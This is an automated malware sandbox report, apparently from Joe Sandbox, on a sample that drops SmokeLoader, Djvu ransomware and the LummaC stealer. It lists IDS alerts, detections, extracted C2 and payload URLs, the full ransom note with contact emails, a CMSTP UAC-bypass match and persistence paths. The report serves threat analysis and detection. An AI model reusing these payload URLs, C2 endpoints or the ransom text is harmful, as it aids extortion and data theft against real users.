                          SID:2039103
                          Source Port:49717
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249722802039103 02/08/24-20:17:22.966962
                          SID:2039103
                          Source Port:49722
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249725802039103 02/08/24-20:17:25.446372
                          SID:2039103
                          Source Port:49725
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249713802039103 02/08/24-20:17:16.690474
                          SID:2039103
                          Source Port:49713
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249742802039103 02/08/24-20:17:36.544606
                          SID:2039103
                          Source Port:49742
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249730802039103 02/08/24-20:17:32.827743
                          SID:2039103
                          Source Port:49730
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249745802039103 02/08/24-20:17:37.053237
                          SID:2039103
                          Source Port:49745
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249751802039103 02/08/24-20:17:38.630159
                          SID:2039103
                          Source Port:49751
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249718802039103 02/08/24-20:17:20.842678
                          SID:2039103
                          Source Port:49718
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected
                          Timestamp:192.168.2.5185.12.126.18249733802039103 02/08/24-20:17:34.008544
                          SID:2039103
                          Source Port:49733
                          Destination Port:80
                          Protocol:TCP
                          Classtype:A Network Trojan was detected

                          Joe Sandbox Signatures

                          Click to jump to signature section

                          Show All Signature Results

                          AV Detection

                          barindex
                          Antivirus / Scanner detection for submitted sample
                          Source: KMPrEVaSfH.exeAvira: detected
                          Antivirus detection for URL or domain
                          Source: http://habrafa.com/files/1/build3.exe.Avira URL Cloud: Label: malware
                          Source: http://habrafa.com/files/1/build3.exeYAvira URL Cloud: Label: malware
                          Source: http://habrafa.com/files/1/build3.exexAvira URL Cloud: Label: malware
                          Source: triangleseasonbenchwj.shopAvira URL Cloud: Label: malware
                          Source: http://galandskiyher5.com/downloads/toolspub1.exeAvira URL Cloud: Label: malware
                          Source: https://gemcreedarticulateod.shop:443/apiAvira URL Cloud: Label: phishing
                          Source: http://habrafa.com/test1/get.phpAvira URL Cloud: Label: malware
                          Source: http://habrafa.com/files/1/build3.exerun2b-Avira URL Cloud: Label: malware
                          Source: sofahuntingslidedine.shopAvira URL Cloud: Label: malware
                          Source: https://secretionsuitcasenioise.shop/api1Avira URL Cloud: Label: malware
                          Source: http://habrafa.com/test1/get.php?pid=903E7F2Avira URL Cloud: Label: malware
                          Source: https://gemcreedarticulateod.shop/9Avira URL Cloud: Label: malware
                          Source: http://habrafa.com/files/1/build3.exe$runAvira URL Cloud: Label: malware
                          Source: https://claimconcessionrebe.shop/:Avira URL Cloud: Label: malware
                          Antivirus detection for dropped file
                          Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exeAvira: detection malicious, Label: HEUR/AGEN.1312686
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeAvira: detection malicious, Label: HEUR/AGEN.1304546
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeAvira: detection malicious, Label: HEUR/AGEN.1312575
                          Found malware configuration
                          Source: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmpMalware Configuration Extractor: Djvu {"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://habrafa.com/files/1/build3.exe"], "C2 url": "http://habrafa.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-hPAqznkJKD\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0849ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\
                          Source: 00000004.00000002.2273984194.0000000004710000.00000004.00001000.00020000.00000000.sdmpMalware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://trad-einmyus.com/index.php", "http://tradein-myus.com/index.php", "http://trade-inmyus.com/index.php"]}
                          Source: 3EE1.exe.5248.36.memstrminMalware Configuration Extractor: LummaC {"C2 url": ["sofahuntingslidedine.shop", "culturesketchfinanciall.shop", "triangleseasonbenchwj.shop", "modestessayevenmilwek.shop", "liabilityarrangemenyit.shop", "claimconcessionrebe.shop", "secretionsuitcasenioise.shop", "gemcreedarticulateod.shop", "exitassumebangpastcone.shop", "sofahuntingslidedine.shop", "culturesketchfinanciall.shop", "triangleseasonbenchwj.shop", "modestessayevenmilwek.shop", "liabilityarrangemenyit.shop", "claimconcessionrebe.shop", "secretionsuitcasenioise.shop", "gemcreedarticulateod.shop", "exitassumebangpastcone.shop"], "Build id": "AmNsA2--afra"}
                          Multi AV Scanner detection for dropped file
                          Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exeReversingLabs: Detection: 72%
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeReversingLabs: Detection: 66%
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeReversingLabs: Detection: 28%
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeReversingLabs: Detection: 87%
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeReversingLabs: Detection: 72%
                          Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exeReversingLabs: Detection: 34%
                          Source: C:\Users\user\AppData\Roaming\ubrawdbReversingLabs: Detection: 28%
                          Multi AV Scanner detection for submitted file
                          Source: KMPrEVaSfH.exeReversingLabs: Detection: 28%
                          Machine Learning detection for dropped file
                          Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exeJoe Sandbox ML: detected
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeJoe Sandbox ML: detected
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeJoe Sandbox ML: detected
                          Machine Learning detection for sample
                          Source: KMPrEVaSfH.exeJoe Sandbox ML: detected
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,11_2_0040E870
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040EA51 CryptDestroyHash,CryptReleaseContext,11_2_0040EA51
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,11_2_0040EAA0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040EC68 CryptDestroyHash,CryptReleaseContext,11_2_0040EC68
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,11_2_00410FC0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00411178 CryptDestroyHash,CryptReleaseContext,11_2_00411178
                          Source: EE23.exe, 00000012.00000002.4436429533.00000000009DD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_e52cee84-b

                          Exploits

                          barindex
                          Yara detected UAC Bypass using CMSTP
                          Source: Yara matchFile source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000002B.00000003.2910090875.0000000005270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002B.00000003.2909873536.0000000005270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002B.00000003.2909951998.0000000005270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002B.00000003.2909297400.00000000051A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002A.00000002.2925602199.00000000032E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002B.00000003.2910175245.0000000005270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002B.00000003.2909359499.00000000051A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002B.00000003.2909056088.00000000051A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002B.00000003.2909781538.0000000005270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000002B.00000003.2909127162.00000000051A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: BA7B.exe PID: 432, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 2428, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: cmstp.exe PID: 1720, type: MEMORYSTR
                          Source: Yara matchFile source: C:\Windows\Temp\chpkcaqm.inf, type: DROPPED

                          Compliance

                          barindex
                          Detected unpacking (overwrites its own PE header)
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeUnpacked PE file: 11.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 17.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeUnpacked PE file: 18.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 23.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 25.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeUnpacked PE file: 30.2.E5F3.exe.400000.0.unpack
                          Source: KMPrEVaSfH.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\_README.txt
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\$WinREAgent\_README.txt
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\$WinREAgent\Scratch\_README.txt
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\Users\user\_README.txt
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49732 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49744 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49746 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49764 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49769 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49778 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.94.2:443 -> 192.168.2.5:49783 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.152.52:443 -> 192.168.2.5:49788 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 46.175.144.56:443 -> 192.168.2.5:49789 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.16.152:443 -> 192.168.2.5:49790 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.199.120:443 -> 192.168.2.5:49792 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 154.7.253.53:443 -> 192.168.2.5:49793 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.5:49794 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.5:49796 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49799 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.169.89:443 -> 192.168.2.5:49804 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49807 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49819 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.152.52:443 -> 192.168.2.5:49824 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.16.152:443 -> 192.168.2.5:49825 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.199.120:443 -> 192.168.2.5:49827 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.5:49828 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.5:49829 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.169.89:443 -> 192.168.2.5:49849 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.5:49850 version: TLS 1.2
                          Source: Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: EE23.exe, EE23.exe, 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp
                          Source: Binary string: C:\jenkins\FCT0\GIT_CLONE_PARENT\FortiClientHS\service\FCInstallerLight\full\Win32\Release\FortiClientInstaller.pdb source: 78E8.exe.2.dr
                          Source: Binary string: C:\cade-piyi\duvoj\yadogewuyanam\g.pdb source: E5F3.exe, 0000001E.00000000.2718805246.000000000048F000.00000002.00000001.01000000.0000000E.sdmp
                          Source: Binary string: ~.C:\riwevi96\wavunibox\haza.pdb source: build2.exe, 00000014.00000000.2490818334.000000000042F000.00000002.00000001.01000000.0000000B.sdmp, build2.exe, 00000014.00000002.2502502839.000000000042F000.00000002.00000001.01000000.0000000B.sdmp, build2.exe, 00000015.00000000.2501685710.000000000042F000.00000002.00000001.01000000.0000000B.sdmp
                          Source: Binary string: _.pdb source: E5F3.exe, 0000001E.00000003.2738899773.0000000004C4F000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3080228144.00000000024DC000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3102300746.0000000004FD0000.00000004.08000000.00040000.00000000.sdmp
                          Source: Binary string: C:\riwevi96\wavunibox\haza.pdb source: build2.exe, 00000014.00000000.2490818334.000000000042F000.00000002.00000001.01000000.0000000B.sdmp, build2.exe, 00000014.00000002.2502502839.000000000042F000.00000002.00000001.01000000.0000000B.sdmp, build2.exe, 00000015.00000000.2501685710.000000000042F000.00000002.00000001.01000000.0000000B.sdmp
                          Source: Binary string: protobuf-net.pdbSHA256}Lq source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: EE23.exe, 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp
                          Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000015.00000002.2630455175.00000000253E8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2626324899.000000001F46F000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: protobuf-net.pdb source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\Confiformsyalla\obj\Debug\Confiformsyalla.pdb source: BA7B.exe, 00000025.00000002.2853073711.00000000030C6000.00000004.00000800.00020000.00000000.sdmp, BA7B.exe, 00000025.00000000.2794298934.0000000000742000.00000002.00000001.01000000.00000012.sdmp
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,11_2_00410160
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,11_2_0040F730
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,11_2_0040FB98
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\

                          Networking

                          barindex
                          Snort IDS alert for network traffic
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49712 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49713 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49714 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49715 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49717 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49718 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49719 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49720 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49721 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49722 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49723 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49725 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49730 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49731 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49733 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49735 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49737 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49738 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49741 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49742 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49745 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49747 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49749 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.5:49750 -> 196.188.169.138:80
                          Source: TrafficSnort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.5:49750 -> 196.188.169.138:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49751 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49752 -> 185.12.126.182:80
                          Source: TrafficSnort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.5:49753 -> 185.12.126.182:80
                          System process connects to network (likely due to code injection or exploit)
                          Source: C:\Windows\explorer.exeNetwork Connect: 104.21.21.16 443Jump to behavior
                          Source: C:\Users\user\AppData\Roaming\svchost.exeNetwork Connect: 104.21.25.142 80
                          Source: C:\Windows\explorer.exeNetwork Connect: 46.175.144.56 443Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 144.76.136.153 443Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 185.12.126.182 80Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 154.7.253.53 443Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 62.109.150.87 80Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 196.188.169.138 80Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 103.23.232.80 80Jump to behavior
                          Source: C:\Windows\explorer.exeNetwork Connect: 172.67.169.89 443Jump to behavior
                          C2 URLs / IPs found in malware configuration
                          Source: Malware configuration extractorURLs: sofahuntingslidedine.shop
                          Source: Malware configuration extractorURLs: culturesketchfinanciall.shop
                          Source: Malware configuration extractorURLs: triangleseasonbenchwj.shop
                          Source: Malware configuration extractorURLs: modestessayevenmilwek.shop
                          Source: Malware configuration extractorURLs: liabilityarrangemenyit.shop
                          Source: Malware configuration extractorURLs: claimconcessionrebe.shop
